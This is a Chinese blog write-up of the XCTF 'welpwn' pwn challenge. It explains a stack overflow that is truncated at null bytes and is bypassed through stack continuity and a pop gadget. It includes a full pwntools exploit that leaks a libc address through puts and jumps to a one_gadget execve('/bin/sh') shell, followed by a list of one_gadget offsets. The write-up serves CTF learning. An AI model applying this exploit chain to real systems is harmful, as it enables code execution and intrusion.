zoukankan      html  css  js  c++  java
  • 攻防世界 pwn welpwn

      感觉好久没有水博客了,今天借助这道题来告诉自己做pwn题要多调试!!!

      先检查了保护只开启了堆栈不可执行,接下来ida看一下伪代码:

      这里可以往buf进行写入,接下来看一下echo函数:

      大概意思就是将buf的内容写入s2中,s2距离rbp只有0x10,所以可以进行溢出。这里我刚开始的时候是直接构造的rop,leakbaselibc,但是一直没有回显。后来我又将返回地址写成了start看看能不能让程序再次执行,发现是可以的。后来检查了一下,发现是向s2中赋值的时候,遇到'x00'就会中断for循环,所以不能构造rop链。这可怎么办,看了大佬们的博客,然后我也试着调试了一下。

      这里可以看到,当我们输入aaaaaaaa的时候,首先是存在buf中,然后调用echo函数的时候赋值给了s2,所以s2的值也是aaaaaaaa,这里很明显可以看到两个变量在栈中的距离是0x20。

      此时的栈空间布局大概就是如图了,那我们应该怎么办呢?那就是利用栈连续,来构造rop链。将返回地址覆盖成pop|ret就可以执行leaklibc了。

      栈的布局就是上面这个图了,贴一下我的exp:

     1 from pwn import *
     2 
     3 p = process('./welpwn')
     4 elf = ELF('./welpwn')
     5 context.log_level = 'debug'
     6 
     7 start = elf.symbols['_start']
     8 write_got = elf.got['write']
     9 puts_plt = elf.plt['puts']
    10 pop_rdi = 0x004008a3
    11 ret = 0x0400589
    12 pop_four = 0x0040089c
    13 
    14 payload = 'a'*0x10 + 'bbbbbbbb' + p64(pop_four)
    15 payload += p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(start)
    16 p.sendlineafter('RCTF
    ',payload)
    17 sleep(1)
    18 p.recv(0x2b)
    19 write_addr = u64(p.recv(6).ljust(8,'x00'))
    20 print hex(write_addr)
    21 
    22 base_addr = write_addr - 0x0f72b0
    23 shell_addr = base_addr + 0xf02a4
    24 
    25 payload = 'a'*0x10 + 'bbbbbbbb' + p64(pop_four)
    26 payload += p64(shell_addr)
    27 p.sendline(payload)
    28 sleep(1)
    29 p.interactive()
    30 '''
    31 0x45216 execve("/bin/sh", rsp+0x30, environ)
    32 constraints:
    33   rax == NULL
    34 
    35 0x4526a execve("/bin/sh", rsp+0x30, environ)
    36 constraints:
    37   [rsp+0x30] == NULL
    38 
    39 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    40 constraints:
    41   [rsp+0x50] == NULL
    42 
    43 0xf1147 execve("/bin/sh", rsp+0x70, environ)
    44 constraints:
    45   [rsp+0x70] == NULL
    46 '''

      我看师傅们还有用DynELF做的,我大概看了一下,发现也是leak地址然后找system的地址,以前也经常听师傅们说这个东西,但是我目前还没遇到说必须用那个东西做的题,就不复现那种方法了。感觉都差不多。

  • 相关阅读:
    细说linux IPC(四):posix 共享内存
    百世经纶一页书
    【机器学习PAI实践二】人口普查统计
    JOptionPane的经常使用4种对话框
    linux pip install gdal apyt-get install libgdal-dev export cplus_path=/usr/include/gdal export c_path=/usr/include/gdal
    linux too many files
    ab 压测
    centos6.6 ftp 配置 修改默认端口等
    openstack instance change storage dir
    事件冒泡(转)
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12709478.html
Copyright © 2011-2022 走看看